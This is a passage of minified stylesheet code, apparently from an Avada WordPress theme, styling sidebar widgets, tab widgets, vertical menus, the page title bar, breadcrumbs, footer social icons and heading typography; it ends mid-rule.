.jtwt_tweet:before{position:absolute;top:6px;margin-left:-45px;content:"\e90b";font-family:awb-icons;font-size:30px}.jtwt .jtwt_tweet a{background:0 0;color:#bfbfbf;display:inline;padding:0;border:0}.jtwt .jtwt_tweet a:hover{color:#65bc7b}.jtwt .jtwt_tweet .jtwt_tweet_text{margin-bottom:0;margin-top:0}.recent-works-items{overflow:hidden}.recent-works-items a{display:inline-block;padding:3px 1.5px}.fusion-columns-4 .recent-works-items a,.fusion-columns-5 .recent-works-items a,.fusion-columns-6 .recent-works-items a{max-width:60px}.fusion-widget-area ul.list-icon a{border:medium none;padding:0}.fusion-sliding-bar-area .widget_shopping_cart_content .buttons{background:rgba(0,0,0,.4)}.fusion-sliding-bar-area .products-slider li .image{width:auto;height:auto}.fusion-widget-area .products a{padding:0;border:0;background:0 0}.fusion-widget-area .products .product-title{margin:0 0 10px}.fusion-widget-area .products-slider a{border:0;background:0 0;margin:0;padding-top:0;padding-bottom:0;padding-right:0;display:inline-block;width:auto}.fusion-widget-area .image-extras-content h3{text-transform:none;margin-bottom:5px}.fusion-widget-area .product-category mark{background-color:transparent;color:inherit}.fusion-widget-area .product-category h3{margin-bottom:0}.widget_layered_nav li a:before,.widget_product_categories li a:before,.woocommerce-tabs .tabs a:hover .arrow:after,.woocommerce-tabs .tabs li.active a .arrow:after{position:absolute;font-family:awb-icons;content:"\f105";margin-left:-12px}.fusion-widget-area .widget .recentcomments:before,.fusion-widget-area .widget_archive li a:before,.fusion-widget-area .widget_categories li a:before,.fusion-widget-area .widget_links li a:before,.fusion-widget-area .widget_meta li a:before,.fusion-widget-area .widget_nav_menu li a:before,.fusion-widget-area .widget_pages li a:before,.fusion-widget-area .widget_recent_entries li a:before,.fusion-widget-area .widget_rss li a:before{position:absolute;font-family:awb-icons;content:"\f105";margin-left:-12px}.fusion-widget-area .widget .recentcomments,.fusion-widget-area .widget_archive li,.fusion-widget-area .widget_categories li,.fusion-widget-area .widget_layered_nav li,.fusion-widget-area .widget_links li,.fusion-widget-area .widget_meta li,.fusion-widget-area .widget_nav_menu li,.fusion-widget-area .widget_pages li,.fusion-widget-area .widget_product_categories li,.fusion-widget-area .widget_recent_entries li,.fusion-widget-area .widget_rss li{display:block;padding:10px 10px 10px 12px;border-bottom:1px solid #e7e6e6;position:relative}.fusion-widget-area .widget_categories li{position:relative}.fusion-widget-area .widget_layered_nav .count,.fusion-widget-area .widget_layered_nav_filters .count{transition:color .2s cubic-bezier(.21,.6,.35,1)}.fusion-widget-area .widget_layered_nav li.chosen .count,.fusion-widget-area .widget_layered_nav li.chosen a,.fusion-widget-area .widget_layered_nav li.chosen a:before,.fusion-widget-area .widget_layered_nav_filters li.chosen .count,.fusion-widget-area .widget_layered_nav_filters li.chosen a,.fusion-widget-area .widget_layered_nav_filters li.chosen a:before{font-weight:700}.fusion-widget-area .widget_rss .rss-date{display:block;margin:.15em 0}.fusion-widget-area .widget_categories li span{position:absolute}.fusion-widget-area .widget_categories .children{margin-left:5px;padding-top:10px}.fusion-widget-area .widget_categories li .children li:last-child,.fusion-widget-area .widget_categories li .sub-menu li:last-child,.fusion-widget-area .widget_nav_menu li .children li:last-child,.fusion-widget-area .widget_nav_menu li .sub-menu li:last-child,.fusion-widget-area .widget_pages li .children li:last-child,.fusion-widget-area .widget_pages li .sub-menu li:last-child,.fusion-widget-area .widget_product_categories li .children li:last-child,.fusion-widget-area .widget_product_categories li .sub-menu li:last-child{padding-bottom:0;border-bottom:none}.shortcode-tabs .tab_content ul.arrow{float:none}.fusion-widget-area ul.arrow{list-style:none;margin:0;padding:0}.fusion-widget-area ul.arrow li:before{display:inline-block;background-repeat:no-repeat;background-position:center center;background-color:#65bc7b;height:18px;border-radius:75px;width:18px;content:" ";float:left;margin-right:10px;margin-left:0}.fusion-widget-area ul.arrow li{line-height:18px;margin:0;padding:0;margin-bottom:15px;padding-left:0}.fusion-widget-area .children,.fusion-widget-area .sub-menu{margin-left:15px}.fusion-widget-area .widget_nav_menu .sub-menu{padding-top:10px}.fusion-widget-area .fusion-vertical-menu-widget .children,.fusion-widget-area .fusion-vertical-menu-widget .sub-menu{margin-left:0}.widget_categories li{background:0 0;padding:0;border-bottom:0}.fusion-widget-area .widget>ul>li:first-child,.fusion-widget-area .widget_nav_menu>div>ul>li:first-child{padding-top:0}.widget_wooslider_slideshow_slides li a{background:0 0;border:0;margin:0;padding:0}.fusion-widget-area .flexslider .slides>li{padding-top:0;padding-bottom:0}.fusion-author-widget .fusion-author-widget-left{text-align:left}.fusion-author-widget .fusion-author-widget-center{text-align:center}.fusion-author-widget .fusion-author-widget-right{text-align:right}.fusion-author-widget .fusion-author-widget-name{margin-top:20px}.fusion-author-widget .fusion-social-networks{margin:-7px 0}.fusion-author-widget .fusion-social-networks .fusion-social-networks-wrapper .fusion-social-network-icon{margin:7px 5.5px}.fusion-author-widget .fusion-social-networks.boxed-icons{margin:-5px 0}.fusion-author-widget .fusion-social-networks.boxed-icons .fusion-social-networks-wrapper .fusion-social-network-icon{margin:5px 3.5px}.fusion-author-widget .fusion-author-widget-separator .fusion-author-widget-sep{border-top:1px solid}.fusion-author-widget .fusion-author-widget-sep{margin:20px 0;height:0}.fusion-tabs-widget .fusion-tabs-widget-wrapper{border:1px solid #eaeaea}.fusion-tabs-widget .fusion-tabs-nav ul{display:flex;list-style:none;margin:0;padding:0}.fusion-tabs-widget .fusion-tabs-nav ul li{flex:1;margin:0;padding:0;border-right:1px solid}.fusion-tabs-widget .fusion-tabs-nav ul li:last-child{border-right:none}.fusion-tabs-widget .fusion-tabs-nav ul li a{display:block;padding:11px 0;border-top:3px solid transparent;transition:all .2s;background:#f1f2f2;color:#333;font-size:13px;text-align:center}.fusion-footer-widget-area .fusion-widget-area .fusion-column .fusion-tabs-widget .fusion-tabs-nav ul li a{padding:11px 0}.fusion-tabs-widget .fusion-tabs-nav ul li.active a{border-top:3px solid #65bc7b}.fusion-tabs-widget .fusion-tabs-nav ul li .fusionicon-bubbles{font-size:18px}.fusion-tabs-widget .fusion-tabs-image-circle .image img{border-radius:50%}.fusion-tabs-widget .fusion-tabs-image-square .image img{border-radius:0}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-tabs-widget-items{list-style:none;margin:0;padding:0}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-tabs-widget-items li{overflow:hidden;padding:20px 15px;border-bottom:1px solid #e2e2e2}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-tabs-widget-items li:last-child{border-bottom:0}.fusion-tabs-widget .fusion-tabs-widget-content .image{float:left;margin-right:13px;width:52px}.fusion-tabs-widget .fusion-tabs-widget-content .image a{height:auto;width:auto;line-height:normal;text-indent:0}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box{float:left;margin-right:13px;padding:7px 6px;min-width:64px;text-align:center}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box .fusion-date{font-size:1.3em;line-height:1;font-weight:700}.fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box .fusion-month-year{margin-top:.5em;line-height:1;font-size:.85em}.fusion-tabs-widget .fusion-tabs-widget-content .post-holder a{display:block;overflow:hidden;line-height:normal}.fusion-tabs-widget .fusion-tabs-widget-content .post-holder p{margin:0 0 2px}.fusion-tabs-widget .fusion-tabs-widget-content .post-holder .fusion-meta{margin-top:2px}.fusion-tabs-widget .fusion-tabs-widget-content .post-holder .fusion-meta p>a{display:inline}.flickr_badge_image{display:inline-block;padding:3px}.flickr_badge_image a{display:inline-block}.flickr_badge_image img{width:66px;height:66px}.fusion-columns-4 .flickr_badge_image img,.fusion-columns-5 .flickr_badge_image img,.fusion-columns-6 .flickr_badge_image img{width:60px;height:60px}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper{border:none}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-nav{margin-bottom:28px}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-nav ul li a{padding:14px 0;border-top:none}.fusion-footer-widget-area .fusion-widget-area .fusion-column .fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-nav ul li a{padding:14px 0}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-nav ul li.active a{border-top:none}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-widget-content{background:0 0}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-widget-content .fusion-tabs-widget-items li{display:flex;align-items:center;padding:13px 0;border-bottom:none}.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-widget-content .fusion-date-box,.fusion-tabs-widget .fusion-tabs-clean.fusion-tabs-widget-wrapper .fusion-tabs-widget-content .image{flex-shrink:0}.fusion-sliding-bar-area .fusion-tabs-widget .fusion-tabs-nav ul li a{background:rgba(0,0,0,.2)}.fusion-sliding-bar-area .fusion-tabs-widget .fusion-tabs-nav ul li a:hover{background:0 0}.fusion-sliding-bar-area .fusion-tabs-widget .fusion-tabs-nav ul li.active a{background:0 0}.fusion-sliding-bar-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box{background:rgba(0,0,0,.2)}#wrapper .fusion-vertical-menu-widget .menu,.awb-off-canvas .fusion-vertical-menu-widget .menu{border-right:1px solid transparent;border-top:1px solid transparent}#wrapper .fusion-vertical-menu-widget .menu li a,.awb-off-canvas .fusion-vertical-menu-widget .menu li a{border-bottom:1px solid transparent;border-right-color:transparent;padding:8px 0;display:block}#wrapper .fusion-vertical-menu-widget .menu li a .arrow,.awb-off-canvas .fusion-vertical-menu-widget .menu li a .arrow{display:none;vertical-align:middle}#wrapper .fusion-vertical-menu-widget .menu li a .arrow:before,.awb-off-canvas .fusion-vertical-menu-widget .menu li a .arrow:before{font-family:awb-icons;content:"\f105"}#wrapper .fusion-vertical-menu-widget .menu .menu-item-has-children>a>.arrow,#wrapper .fusion-vertical-menu-widget .menu .page_item_has_children>a>.arrow,.awb-off-canvas .fusion-vertical-menu-widget .menu .menu-item-has-children>a>.arrow,.awb-off-canvas .fusion-vertical-menu-widget .menu .page_item_has_children>a>.arrow{display:inline-block;padding:0 5px}#wrapper .fusion-vertical-menu-widget .menu li.current-menu-item>a,#wrapper .fusion-vertical-menu-widget .menu li.current_page_item>a,.awb-off-canvas .fusion-vertical-menu-widget .menu li.current-menu-item>a,.awb-off-canvas .fusion-vertical-menu-widget .menu li.current_page_item>a{border-right-color:#65bc7b;border-right:3px solid}#wrapper .fusion-vertical-menu-widget .menu li.menu-item-has-children ul,#wrapper .fusion-vertical-menu-widget .menu li.page_item_has_children ul,.awb-off-canvas .fusion-vertical-menu-widget .menu li.menu-item-has-children ul,.awb-off-canvas .fusion-vertical-menu-widget .menu li.page_item_has_children ul{display:none}#wrapper .fusion-vertical-menu-widget.right .menu,.awb-off-canvas .fusion-vertical-menu-widget.right .menu{border-left:1px solid transparent;text-align:right;border-right:0}#wrapper .fusion-vertical-menu-widget.right .menu>li>a,.awb-off-canvas .fusion-vertical-menu-widget.right .menu>li>a{padding-right:20px}#wrapper .fusion-vertical-menu-widget.right .menu li a,.awb-off-canvas .fusion-vertical-menu-widget.right .menu li a{padding-left:10px}#wrapper .fusion-vertical-menu-widget.right .menu li a .arrow:before,.awb-off-canvas .fusion-vertical-menu-widget.right .menu li a .arrow:before{content:"\f104"}#wrapper .fusion-vertical-menu-widget.right .menu li.current-menu-item>a,#wrapper .fusion-vertical-menu-widget.right .menu li.current_page_item>a,.awb-off-canvas .fusion-vertical-menu-widget.right .menu li.current-menu-item>a,.awb-off-canvas .fusion-vertical-menu-widget.right .menu li.current_page_item>a{border-left:3px solid;border-right:0}#wrapper .fusion-vertical-menu-widget.right .menu .children,#wrapper .fusion-vertical-menu-widget.right .menu .sub-menu,.awb-off-canvas .fusion-vertical-menu-widget.right .menu .children,.awb-off-canvas .fusion-vertical-menu-widget.right .menu .sub-menu{margin-right:30px}#wrapper .fusion-vertical-menu-widget.left .menu,.awb-off-canvas .fusion-vertical-menu-widget.left .menu{text-align:left}#wrapper .fusion-vertical-menu-widget.left .menu>li>a,.awb-off-canvas .fusion-vertical-menu-widget.left .menu>li>a{padding-left:20px}#wrapper .fusion-vertical-menu-widget.left .menu li a,.awb-off-canvas .fusion-vertical-menu-widget.left .menu li a{padding-right:10px}#wrapper .fusion-vertical-menu-widget.left .menu .children,#wrapper .fusion-vertical-menu-widget.left .menu .sub-menu,.awb-off-canvas .fusion-vertical-menu-widget.left .menu .children,.awb-off-canvas .fusion-vertical-menu-widget.left .menu .sub-menu{margin-left:30px}#wrapper .fusion-vertical-menu-widget.no-border.left .menu li a .arrow,.awb-off-canvas .fusion-vertical-menu-widget.no-border.left .menu li a .arrow{padding-right:0;width:40px;text-align:right}#wrapper .fusion-vertical-menu-widget.no-border.right .menu li a .arrow,.awb-off-canvas .fusion-vertical-menu-widget.no-border.right .menu li a .arrow{padding-left:0;width:40px;text-align:left}.fusion-vertical-menu-widget ul.menu li a{font-family:var(--nav_typography-font-family);font-weight:var(--nav_typography-font-weight);font-size:var(--nav_typography-font-size);letter-spacing:var(--nav_typography-letter-spacing);text-transform:var(--nav_typography-text-transform)}#main .fusion-sticky-sidebar .fusion-sidebar-inner-content,#main .sidebar:not(.fusion-sticky-sidebar){background-color:var(--sidebar_bg_color)}#main .sidebar{padding:var(--sidebar_padding)}#main .sidebar.fusion-sticky-sidebar .fusion-sidebar-inner-content{padding:var(--sidebar_padding-percent_to_vw)}.sidebar .widget .heading .widget-title,.sidebar .widget .widget-title{background-color:var(--sidebar_widget_bg_color);padding:var(--sidebar_widget_bg_color-opaque-padding)}.sidebar .widget .widget-title{font-size:var(--sidew_font_size)}.sidebar .widget .heading h4,.sidebar .widget .widget-title{color:var(--sidebar_heading_color)}#wrapper .fusion-vertical-menu-widget .menu li.current-menu-item>a,#wrapper .fusion-vertical-menu-widget .menu li.current_page_ancestor>a,#wrapper .fusion-widget-area .current-menu-item>a,#wrapper .fusion-widget-area .current-menu-item>a:before,#wrapper .fusion-widget-area .current_page_item>a,#wrapper .fusion-widget-area .current_page_item>a:before,.side-nav li.current_page_ancestor>a,.side-nav ul>li.current_page_item>a{color:var(--primary_color)}#wrapper .jtwt .jtwt_tweet a:hover,.fusion-content-widget-area .widget .recentcomments:hover:before,.fusion-content-widget-area .widget li a:hover,.fusion-content-widget-area .widget li a:hover:before,.fusion-content-widget-area .widget_archive li a:hover:before,.fusion-content-widget-area .widget_categories li a:hover,.fusion-content-widget-area .widget_categories li a:hover:before,.fusion-content-widget-area .widget_links li a:hover:before,.fusion-content-widget-area .widget_nav_menu li a:hover:before,.fusion-content-widget-area .widget_pages li a:hover:before,.fusion-content-widget-area .widget_recent_entries li a:hover:before,.side-nav .arrow:hover:after{color:var(--link_hover_color)}#wrapper .fusion-vertical-menu-widget .menu li.current_page_item>a,#wrapper .side-nav li.current_page_item a{border-right-color:var(--primary_color);border-left-color:var(--primary_color)}.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li.active a{border-top-color:var(--primary_color)}.fusion-content-widget-area .widget .recentcomments a,.fusion-content-widget-area .widget li a,.fusion-content-widget-area .widget_categories li{color:var(--link_color)}.fusion-live-search .fusion-search-results{max-height:var(--live_search_results_height)}.search #posts-container .fusion-blog-layout-grid,.search-results #posts-container .fusion-blog-layout-grid{margin-top:calc((var(--search_grid_column_spacing))/ -2);margin-right:calc((var(--search_grid_column_spacing))/ -2);margin-bottom:0;margin-left:calc((var(--search_grid_column_spacing))/ -2)}.search #posts-container .fusion-blog-layout-grid .fusion-post-grid,.search-results #posts-container .fusion-blog-layout-grid .fusion-post-grid{padding:calc((var(--search_grid_column_spacing))/ 2)}.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-search-spacer{width:calc((var(--form_input_height)) * .4)}.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-close-search{width:var(--form_text_size);height:var(--form_text_size)}.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-close-search:after,.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-close-search:before{background-color:var(--nav_typography-color)}.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-close-search:hover:after,.fusion-main-menu-search-overlay .fusion-overlay-search .fusion-close-search:hover:before{background-color:var(--menu_hover_first_color)}.fusion-body .fusion-flexslider .flex-direction-nav a,.fusion-body .fusion-flexslider.flexslider-attachments .flex-direction-nav a,.fusion-body .fusion-flexslider.flexslider-posts .flex-direction-nav a,.fusion-body .fusion-flexslider.flexslider-posts-with-excerpt .flex-direction-nav a,.fusion-body .fusion-slider-sc .flex-direction-nav a,.fusion-body .woocommerce-product-gallery .flex-direction-nav a{width:var(--slider_nav_box_dimensions-width);height:var(--slider_nav_box_dimensions-height);line-height:var(--slider_nav_box_dimensions-height);font-size:var(--slider_arrow_size)}.fusion-social-links-footer .fusion-social-networks a{font-size:var(--footer_social_links_font_size)}.fusion-social-links-footer .fusion-social-networks a.custom{max-height:var(--footer_social_links_boxed_padding)}.fusion-social-links-footer .fusion-social-networks a.custom img{max-height:var(--footer_social_links_font_size)}.fusion-social-links-footer .fusion-social-networks.boxed-icons a{width:calc(var(--footer_social_links_font_size) + (2 * (var(--footer_social_links_boxed_padding))) + 2px);padding:var(--footer_social_links_boxed_padding)}.fusion-social-links-footer .fusion-social-networks.boxed-icons a.custom{top:calc((var(--footer_social_links_boxed_padding)) * -1)}.fusion-social-links-footer .fusion-social-networks.boxed-icons a.custom img{max-height:calc(var(--footer_social_links_font_size) + (2 * (var(--footer_social_links_boxed_padding))) + 2px)}.fusion-social-links-footer .fusion-social-networks.boxed-icons .fusion-social-network-icon{color:var(--footer_social_links_icon_color)}.fusion-social-links-footer .fusion-social-networks.boxed-icons .fusion-social-network-icon:not(.custom){background-color:var(--footer_social_links_box_color);border-color:var(--footer_social_links_box_color);border-radius:var(--footer_social_links_boxed_radius)}.fusion-social-links-footer .fusion-social-networks .fusion-social-network-icon{color:var(--footer_social_links_icon_color)}.fusion-social-networks.boxed-icons .fusion-social-network-icon:not(.custom){background-color:var(--footer_social_links_box_color);border-color:var(--footer_social_links_box_color)}.fusion-single-sharing-box{background-color:var(--social_bg_color);padding:var(--social_bg_color-0-transparent,20px)}.fusion-page-title-bar{clear:both;padding:0 10px;height:var(--page_title_height);width:100%;background-position:center center;background-repeat:no-repeat;background-origin:border-box;background-color:var(--page_title_bg_color);border-top:1px solid;border-bottom:1px solid;background-image:var(--page_title_bg);border-color:var(--page_title_border_color);background-size:auto}.fusion-page-title-bar h1,.fusion-page-title-bar h3{margin:0;padding:0;line-height:26px;font-weight:400;font-size:14px;color:#343333}.fusion-page-title-bar h1{font-size:18px;color:var(--page_title_color)}.fusion-page-title-bar .fusion-page-title-row h1{font-size:var(--page_title_font_size);line-height:var(--page_title_line_height)}.fusion-page-title-bar h3{font-size:var(--page_title_subheader_font_size);line-height:calc(var(--page_title_subheader_font_size) + 12px);color:var(--page_title_subheader_color)}@media only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.fusion-page-title-bar{background-image:var(--page_title_bg_retina,var(--page_title_bg));background-size:cover}}.fusion-page-title-bar .fusion-breadcrumbs{font-size:var(--breadcrumbs_font_size);color:var(--breadcrumbs_text_color)}.fusion-page-title-bar .fusion-breadcrumbs .awb-breadcrumb-sep:after{content:var(--breadcrumbs_separator);margin:0 5px}.fusion-page-title-bar .fusion-breadcrumbs li,.fusion-page-title-bar .fusion-breadcrumbs li a{font-size:var(--breadcrumbs_font_size)}.fusion-page-title-bar .fusion-breadcrumbs a{color:var(--breadcrumbs_text_color)}.fusion-page-title-bar .fusion-breadcrumbs a:hover{color:var(--breadcrumbs_text_hover_color)}.avada-has-pagetitle-bg-full .fusion-page-title-bar{background-size:cover}.fusion-page-title-row{margin:0 auto;height:100%}.fusion-page-title-wrapper{display:flex;align-items:center;justify-content:space-between;position:relative;height:100%;width:100%}.page-title-bar-search .fusion-page-title-captions{width:auto}.fusion-page-title-secondary{flex-shrink:0;text-align:right}.fusion-page-title-secondary .searchform{display:inline-block;width:100%;max-width:250px}.awb-breadcrumb-list{display:inline-flex;flex-wrap:wrap;list-style:none;margin:0;padding:0}.fusion-page-title-bar-left .fusion-page-title-secondary{margin-left:10px}.fusion-page-title-bar-center .fusion-page-title-captions{text-align:center;width:100%}.fusion-page-title-bar-center .fusion-page-title-secondary{display:block;width:100%;text-align:center}.fusion-page-title-bar-center .searchform{margin-top:10px}.fusion-page-title-bar-center .awb-breadcrumb-list{justify-content:center}.fusion-page-title-bar-right .fusion-page-title-wrapper{flex-flow:row-reverse}.fusion-page-title-bar-right .fusion-page-title-captions{text-align:right}.fusion-page-title-bar-right .fusion-page-title-secondary{margin-right:10px;text-align:left}html:not(.avada-has-site-width-percent) .fusion-page-title-bar{padding-left:30px;padding-right:30px}html.avada-has-site-width-percent.avada-has-site-width-100-percent .fusion-page-title-bar{padding-left:var(--hundredp_padding);padding-right:var(--hundredp_padding)}.avada-has-pagetitle-bg-parallax .fusion-page-title-bar{background-attachment:fixed;background-position:top center}@media only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.avada-has-pagetitlebar-retina-bg-image .fusion-page-title-bar{background-image:var(--page_title_bg_retina);background-size:cover}}.avada-has-titlebar-content_only.fusion-body .fusion-page-title-bar{background:0 0;border:none}.wrapper_blank .page-title-bar{margin-bottom:25px}.rtl .fusion-page-title-bar{direction:ltr}.rtl .fusion-page-title-bar-left .fusion-page-title-captions{text-align:left}.rtl .fusion-page-title-bar-center .fusion-breadcrumbs,.rtl .fusion-page-title-bar-center .fusion-page-title-captions,.rtl .fusion-page-title-bar-center .searchform,.rtl .fusion-page-title-bar-left .fusion-breadcrumbs,.rtl .fusion-page-title-bar-left .fusion-page-title-captions,.rtl .fusion-page-title-bar-left .searchform,.rtl .fusion-page-title-bar-right .fusion-breadcrumbs,.rtl .fusion-page-title-bar-right .fusion-page-title-captions,.rtl .fusion-page-title-bar-right .searchform{direction:rtl}#nav ul li ul li a,#sticky-nav ul li ul li a,#wrapper #nav ul li ul li > a,#wrapper #sticky-nav ul li ul li > a,.avada-container h3,.comment-form input[type="submit"],.ei-title h3,.fusion-blog-shortcode .fusion-timeline-date,.fusion-body #main .tribe-common .tribe-events-c-day-marker__date,.fusion-body #main .tribe-events .datepicker,.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium,.fusion-body .tribe-common .tribe-common-b2,.fusion-body .tribe-common .tribe-common-b3,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content a,.fusion-load-more-button,.fusion-main-menu .sub-menu,.fusion-main-menu .sub-menu li a,.fusion-megamenu-widgets-container,.fusion-megamenu-wrapper .fusion-megamenu-submenu > a:hover,.fusion-megamenu-wrapper li .fusion-megamenu-title-disabled,.fusion-page-title-bar h3,.gform_page_footer input[type=button],.meta .fusion-date,.more,.review blockquote div strong,.review blockquote q,.ticket-selector-submit-btn[type=submit],body{font-family:var(--body_typography-font-family);font-weight:var(--body_typography-font-weight);letter-spacing:var(--body_typography-letter-spacing);font-style:var(--body_typography-font-style,normal)}#slidingbar-area .slide-excerpt h2,#slidingbar-area ul,.counter-box-content,.fusion-alert,.fusion-blog-layout-timeline .fusion-timeline-date,.fusion-body #main .tribe-events .datepicker,.fusion-body .tribe-common .tribe-common-b2,.fusion-body .tribe-common .tribe-common-b3,.fusion-footer-widget-area .slide-excerpt h2,.fusion-footer-widget-area ul,.fusion-progressbar .progress-title,.fusion-project-details-tb .project-info h4,.gform_wrapper .gfield_description,.gform_wrapper label,.jtwt .jtwt_tweet,.project-content .project-info h4,.review blockquote q,.sidebar .jtwt .jtwt_tweet,.sidebar .slide-excerpt h2,body{font-size:var(--body_typography-font-size)}#nav ul li ul li a,#side-header .fusion-contact-info,#side-header .header-social .top-menu,#sticky-nav ul li ul li a,#wrapper #nav ul li ul li > a,#wrapper #sticky-nav ul li ul li > a,.avada-container h3,.comment-form input[type="submit"],.ei-title h3,.fusion-accordian .panel-body,.fusion-body #main .tribe-common .tribe-events-c-day-marker__date,.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium,.fusion-body .tribe-common .tribe-common-b2,.fusion-body .tribe-common .tribe-common-b3,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content a,.fusion-main-menu .sub-menu,.fusion-main-menu .sub-menu li a,.fusion-megamenu-widgets-container,.fusion-megamenu-wrapper .fusion-megamenu-submenu > a:hover,.fusion-megamenu-wrapper li .fusion-megamenu-title-disabled,.fusion-page-title-bar h3,.gform_page_footer input[type=button],.meta .fusion-date,.more,.review blockquote div strong,.review blockquote q,.single-tribe_events #tribe-events-content .tribe-events-event-meta dt,.ticket-selector-submit-btn[type=submit],body{line-height:var(--body_typography-line-height)}.fusion-blog-timeline-layout .fusion-timeline-date,.fusion-body #main .tribe-common .tribe-events-c-day-marker__date,.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium,.fusion-body .fusion-wrapperr .meta,.fusion-body .tribe-block__tickets__registration__tickets__header,.fusion-body .tribe-common .tribe-common-b2,.fusion-body .tribe-common .tribe-common-b3,.fusion-body .tribe-events .tribe-events-calendar-list__event-datetime,.fusion-main-menu .fusion-custom-menu-item-contents,.fusion-project-details-tb .project-info h4,.fusion-rollover .price .amount,.post .post-content,.project-content .project-info h4,.review blockquote div,.search input,.sidebar .jtwt,.sidebar .widget .recentcomments,.sidebar .widget_archive li,.sidebar .widget_categories li,.sidebar .widget_layered_nav li,.sidebar .widget_links li,.sidebar .widget_meta li,.sidebar .widget_nav_menu li,.sidebar .widget_pages li,.sidebar .widget_product_categories li,.sidebar .widget_recent_entries li,.title-row,body{color:var(--body_typography-color)}.meta .fusion-date{font-style:italic}#main .post h2 a,.about-author .title a,.fusion-blog-pagination .pagination .pagination-next:after,.fusion-blog-pagination .pagination .pagination-prev:before,.fusion-hide-pagination-text .pagination-next:after,.fusion-hide-pagination-text .pagination-prev:before,.fusion-load-more-button,.fusion-rollover a,.pagination .pagination-next:after,.pagination .pagination-prev:before,.project-content .project-info .project-info-box a,.shop_attributes tr th,.single-navigation a[rel=next]:after,.single-navigation a[rel=prev]:before,body a,body a:after,body a:before{color:var(--link_color)}.fusion-modal h1,.fusion-page-title-bar h1,.fusion-tb-footer h1,.fusion-tb-page-title-bar h1,.fusion-title h1,.fusion-widget-area h1,.post-content h1,.search-page-search-form h1,h1{font-family:var(--h1_typography-font-family);font-weight:var(--h1_typography-font-weight);line-height:var(--h1_typography-line-height);letter-spacing:var(--h1_typography-letter-spacing);text-transform:var(--h1_typography-text-transform);font-style:var(--h1_typography-font-style,normal)}.fusion-modal h1,.fusion-tb-footer h1,.fusion-tb-page-title-bar h1,.fusion-widget-area h1,.post-content h1,.search-page-search-form h1,h1{font-size:var(--h1_typography-font-size)}.fusion-modal h1,.fusion-post-content h1,.fusion-tb-footer h1,.fusion-tb-page-title-bar h1,.fusion-widget-area h1,.post-content h1,.search-page-search-form h1,.title h1,h1{color:var(--h1_typography-color)}h1{margin-top:var(--h1_typography-margin-top);margin-bottom:var(--h1_typography-margin-bottom)}.ei-title h2,.main-flex .slide-content h2,.post h2,.post-content h2,h2{font-family:var(--h2_typography-font-family);font-weight:var(--h2_typography-font-weight);line-height:var(--h2_typography-line-height);letter-spacing:var(--h2_typography-letter-spacing);text-transform:var(--h2_typography-text-transform);font-style:var(--h2_typography-font-style,normal)}.post h2,.post-content h2,h2,h2.entry-title{font-size:var(--h2_typography-font-size)}.fusion-post-content h2,.search-page-search-form h2,h2{color:var(--h2_typography-color)}.fusion-title-size-two,h2{margin-top:var(--h2_typography-margin-top);margin-bottom:var(--h2_typography-margin-bottom)}.fusion-author .fusion-author-title,.fusion-header-tagline,.fusion-modal .modal-title,.fusion-pricing-table .pricing-row,.fusion-pricing-table .title-row,.main-flex .slide-content h3,.post-content h3,.project-content h3,.sidebar .widget h3,h3{font-family:var(--h3_typography-font-family);font-weight:var(--h3_typography-font-weight);line-height:var(--h3_typography-line-height);letter-spacing:var(--h3_typography-letter-spacing);text-transform:var(--h3_typography-text-transform);font-style:var(--h3_typography-font-style,normal)}.fusion-author .fusion-author-title,.fusion-modal .modal-title,.fusion-widget-area h3,.post-content h3,.project-content h3,h3{font-size:var(--h3_typography-font-size)}.fusion-author .fusion-author-title,.fusion-post-content h3,.fusion-title h3,.person-author-wrapper span,.post-content h3,.project-content h3,.sidebar .widget h3,.title h3,h3{color:var(--h3_typography-color)}h3{margin-top:var(--h3_typography-margin-top);margin-bottom:var(--h3_typography-margin-bottom)}.fusion-carousel-title,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title a,.fusion-megamenu-title,.fusion-person .person-desc .person-author .person-author-wrapper,.fusion-project-details-tb .project-info h4,.fusion-tabs .nav-tabs  li .fusion-tab-heading,.fusion-tabs-widget .fusion-tabs-nav ul li a,.fusion-theme-sharing-box h4,.fusion-title h4,.fusion-widget-area h4,.popover .popover-title,.post-content h4,.project-content .project-info h4,.tribe-events-single ul.tribe-related-events 